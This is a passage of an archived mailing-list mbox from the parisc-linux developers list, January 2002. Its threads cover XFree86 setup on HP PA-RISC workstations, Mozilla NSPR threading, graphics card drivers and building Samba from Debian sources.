> 5. Here's my XF86Config-4 file for your amusement.
> 
thanks!
Aaron
> 
> 
> 
> -- 
> ____               .:.                 ____
> Bryan W. Headley - bheadley@interaccess.com
> 
> 
> [These attachments have been stored at Thinmail:]
> 
> http://www.thinmail.com/tm/v/mULUNBn8aFV/XF86Config-4
> Size: 2881 Type: Plain Text Category: Received
> 
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need five #defines, please.....
Date: Fri, 4 Jan 2002 23:31:46 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020104233146.A31733@solo.franken.de>
References: <20020104012559.69375281.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620921 376 80.91.229.3 (22 Nov 2014 01:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 15:34:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p508456E5.dip.t-dialin.net [80.132.86.229])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90099482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 15:34:32 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g04MVkP02805;
	Fri, 4 Jan 2002 23:31:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020104012559.69375281.csuder@cisco.com>; from csuder@cisco.com on Fri, Jan 04, 2002 at 01:25:59AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13590

On Fri, Jan 04, 2002 at 01:25:59AM -0800, Christian Suder wrote:
> I'm trying to skin the lizard (mozilla 0.9.7). I can build with the linux
> default pthreads, but it doesn' work, windows show up but the content is
> not drawn etc.. Hence I'd like to try a build with "classic" NSPR, which
> implements it's own threading mechanism. Problem : There is a couple of
> hardware-specific definitions that I don't know how to do, but somebody

I don't thing anyone has ported libc5 to hppa. Those missing defines are
libc5 hooks, iirc.

Fixing pthreads would be much more productive.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rogelio Robles <rogelio_robles@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help getting xf86 cfg file for a HP PA 9000/J210XC running debian hppa Linux
Date: Fri, 4 Jan 2002 15:16:37 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <20020104231637.42697.qmail@web10901.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620922 381 80.91.229.3 (22 Nov 2014 01:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 16:16:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web10901.mail.yahoo.com (web10901.mail.yahoo.com [216.136.131.37])
	by dsl2.external.hp.com (Postfix) with SMTP id 39C12482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 16:16:39 -0700 (MST)
Original-Received: from [167.107.185.138] by web10901.mail.yahoo.com via HTTP; Fri, 04 Jan 2002 15:16:37 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13591

Hello Guys,

I'm close to have success running XFree86 4.1.0 that
comes with HPPA GNU/Linux 0.9.3 but I'm still
receiving a "parameter error" message.

I'm sending you this message to ask for your help
getting to run XFree86 on a HP 9000 J210XC workstation
running the latest version of debian GNU/Linux.

I have a debian pa-risc GNU/Linux 0.9.3 running on my
system, everything seems that it's working fine but
XFree86 X server. After several hours invested in this
past holiday season I haven't had luck getting this
guy to start running.

I had a partial success in my XF86Config file, I'm
using the frame buffer driver or "fbdev" and it seems
that it's working because I receive infomrational
messages from the driver itself: video ram 2MB, etc,
but it terminates quickly saying that there is a
"parameter error". It seems that there is something
specified in the file that it doesn't like it. 

I would like you to share with me, if you don't mind,
your XF86Config file or maybe pointing me to the right
place so I can find what I need to state in my xf86
cfg file to start the X server on this system.

I've been using GNU/Linux since some years ago mostly
on x86 platforms with incremental success and some GNU
SW on Sun Solaris. Currently I have a RedHat 7.1
system running at home with the latest versions of
available programs and I'd like to replicate the same
in this system that I just got.

Thanks in advance for your help,
Rogelio


__________________________________________________
Do You Yahoo!?
Send your FREE holiday greetings online!
http://greetings.yahoo.com



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need five #defines, please.....
Date: Fri, 04 Jan 2002 15:58:06 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020104154342.02a49428@mira-sjc5-9.cisco.com>
References: <20020104012559.69375281.csuder@cisco.com>
 <20020104012559.69375281.csuder@cisco.com> <20020104233146.A31733@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620922 385 80.91.229.3 (22 Nov 2014 01:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 16:58:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id B265D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 16:58:29 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id g04Nw6w17609;
	Fri, 4 Jan 2002 15:58:06 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABS95043;
	Fri, 4 Jan 2002 15:58:34 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <20020104233146.A31733@solo.franken.de>
Original-References: <20020104012559.69375281.csuder@cisco.com>
 <20020104012559.69375281.csuder@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13592

At 11:31 PM 1/4/2002 +0100, Thomas Bogendoerfer wrote:
>On Fri, Jan 04, 2002 at 01:25:59AM -0800, Christian Suder wrote:
> > I'm trying to skin the lizard (mozilla 0.9.7). I can build with the linux
> > default pthreads, but it doesn' work, windows show up but the content is
> > not drawn etc.. Hence I'd like to try a build with "classic" NSPR, which
> > implements it's own threading mechanism. Problem : There is a couple of
> > hardware-specific definitions that I don't know how to do, but somebody
>
>I don't thing anyone has ported libc5 to hppa. Those missing defines are
>libc5 hooks, iirc.

If I'm not mistaken libc5 <=> glibc1 and libc6 <=> glibc2, these are the 
ones for glibc2. In any case it runs on a (Linux-)Sparc with glibc2.


>Fixing pthreads would be much more productive.

Agree. However I believe the problems to be caused by sloppy programming in 
terms of thread handling, at least that was the issue I had with the pan 
newsreader (which behaved similar, btw). I don't think that can be fixed in 
the NSPR abstraction layer if it is caused by the application not calling 
the appropriate functions when needed. And I'm not going to dig through 160 
MB of source to find where somebody didn't initialize something 
correctly.... I'm going back and forth though to see if it is something hat 
can be done in NSPR.

Especially when in the end I don't want to run mozilla anyways. I just want 
the rendering engine to work so some more lightweight client like galeon 
can be used.

         Christian 




From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need five #defines, please.....
Date: Sat, 5 Jan 2002 02:36:39 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020105023639.A6903@solo.franken.de>
References: <20020104012559.69375281.csuder@cisco.com> <20020104012559.69375281.csuder@cisco.com> <20020104233146.A31733@solo.franken.de> <4.3.2.7.2.20020104154342.02a49428@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620922 388 80.91.229.3 (22 Nov 2014 01:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 18:39:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p508456E5.dip.t-dialin.net [80.132.86.229])
	by dsl2.external.hp.com (Postfix) with ESMTP id A50CA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 18:39:21 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g051adW06951;
	Sat, 5 Jan 2002 02:36:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <4.3.2.7.2.20020104154342.02a49428@mira-sjc5-9.cisco.com>; from csuder@cisco.com on Fri, Jan 04, 2002 at 03:58:06PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13593

On Fri, Jan 04, 2002 at 03:58:06PM -0800, Christian Suder wrote:
> If I'm not mistaken libc5 <=> glibc1 and libc6 <=> glibc2, these are the 
> ones for glibc2. In any case it runs on a (Linux-)Sparc with glibc2.

you are right, it's not a libc5 thing. I'm going to look at that tomorrow.

> >Fixing pthreads would be much more productive.
> 
> Agree. However I believe the problems to be caused by sloppy programming in 

right now I'm not sure, which mozilla gets further. Mine dies without 
display anything in nsGetModule of libimglib2.so. At least that's what 
gdb tells me. I've build my mozilla from the debian 0.9.7-2 sources.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "ELI NISTAL" <enistal@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A4071B Graphics Card
Date: Fri, 04 Jan 2002 22:05:17 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <F264GnO9lTXeo6fQSge00001818@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620923 391 80.91.229.3 (22 Nov 2014 01:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan  4 22:05:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f26.pav0.hotmail.com [64.4.32.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDA09482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jan 2002 22:05:18 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 4 Jan 2002 21:05:17 -0800
Original-Received: from 65.101.72.249 by pv0fd.pav0.hotmail.msn.com with HTTP;
	Sat, 05 Jan 2002 05:05:17 GMT
X-Originating-IP: [65.101.72.249]
X-OriginalArrivalTime: 05 Jan 2002 05:05:17.0885 (UTC) FILETIME=[915AEED0:01C195A6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13594

Hello,

Are there drivers for the A4071B graphics card? If so could someone please 
direct me to them.

Thanks,
Eli


_________________________________________________________________
Join the worlds largest e-mail service with MSN Hotmail. 
http://www.hotmail.com




From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with Samba on a D370
Date: Sun, 6 Jan 2002 14:52:13 +1100
Lines: 24
Approved: news@gmane.org
Message-ID: <02d801c19665$87a5d520$090ba8c0@winnie>
References: <Pine.LNX.4.42.0201031237480.8858-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620923 393 80.91.229.3 (22 Nov 2014 01:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:43 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Peter Mottram" <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  5 20:47:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8C5E482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Jan 2002 20:47:56 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.25.81]) by
          mta05ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GPI07600.3AY; Sun, 6 Jan 2002 13:54:42 +1000 
Original-Received: from CPE-203-51-24-86.nsw.bigpond.net.au ([203.51.24.86]) by psmam05.mailsvc.email.bigpond.com(MailRouter V3.0h 101/2165765); 06 Jan 2002 13:47:41
Original-Received: from winnie (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with SMTP id OAA09967;
	Sun, 6 Jan 2002 14:47:42 +1100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13595

Peter,

> This package doesn't yet appear to be built for hppa, but if you add an
> appropriate deb-src line for sid in your sources.list file then you can
> download and build the new samba packages using:
>
> apt-get source samba --build
>
> & then install the packages using 'dpkg -i'
>
> Hope I'm not teaching grandma to suck eggs here.

You may be for Herb, but for those of us new to Debian, this is a great way
to learn something without having to ask first.  :)

What do you mean by an appropriate line in the sources.list?  Is it a link
to the location of the samba package?

Thanks,

Pete




From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with Samba on a D370
Date: Sat, 05 Jan 2002 22:08:06 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020106050806.6719D37CB8@carmen.fc.hp.com>
References: <Pine.LNX.4.42.0201031237480.8858-100000@r6.petescaff.com>  <02d801c19665$87a5d520$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620923 399 80.91.229.3 (22 Nov 2014 01:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:43 +0000 (UTC)
Cc: "Peter Mottram" <peter@petescaff.com>,
	parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: "Peter Lavender" <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  5 22:08:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id A022E482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Jan 2002 22:08:11 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 935E6600182; Sun,  6 Jan 2002 00:08:10 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6719D37CB8; Sat,  5 Jan 2002 22:08:06 -0700 (MST)
In-Reply-To: Your message of "Sun, 06 Jan 2002 14:52:13 +1100."
             <02d801c19665$87a5d520$090ba8c0@winnie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13596

"Peter Lavender" writes...

> What do you mean by an appropriate line in the sources.list?  Is it a link
> to the location of the samba package?

`man sources.list` and read about deb-src.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with Samba on a D370
Date: Sun, 6 Jan 2002 16:29:45 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20020106162941.Z29387@neep.com.au>
References: <Pine.LNX.4.42.0201031237480.8858-100000@r6.petescaff.com> <02d801c19665$87a5d520$090ba8c0@winnie> <20020106050806.6719D37CB8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620924 403 80.91.229.3 (22 Nov 2014 01:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 01:30:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (i191-122.nv.iinet.net.au [203.59.191.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12858482D
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 01:30:00 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id QAA18137
	for parisc-linux@lists.parisc-linux.org; Sun, 6 Jan 2002 16:29:48 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020106050806.6719D37CB8@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Sat, Jan 05, 2002 at 10:08:06PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13597

Quoth Matt Taggart:
> "Peter Lavender" writes...
> 
> > What do you mean by an appropriate line in the sources.list?  Is it a link
> > to the location of the samba package?
> 
> `man sources.list` and read about deb-src.
> 
> -- 
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation

Also, feel free to ask any Debian-related questions (newbie or
otherwise) on the debian-hppa mailing list[1].

Andrew.

[1]  http://www.debian.org/MailingLists/subscribe

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:21:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Q] how to get the SP from __jmpbuf / glibc
Date: Sun, 6 Jan 2002 01:01:52 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20020106010152.60f7749b.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620924 414 80.91.229.3 (22 Nov 2014 01:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 02:01:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98B964830
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 02:01:55 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id g0691sJ18884
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 Jan 2002 01:01:54 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABT03732;
	Sun, 6 Jan 2002 01:02:01 -0800 (PST)
X-Mailer: Sylpheed version 0.6.6claws36 (GTK+ 1.2.10; hppa-debian-linux-gnu)
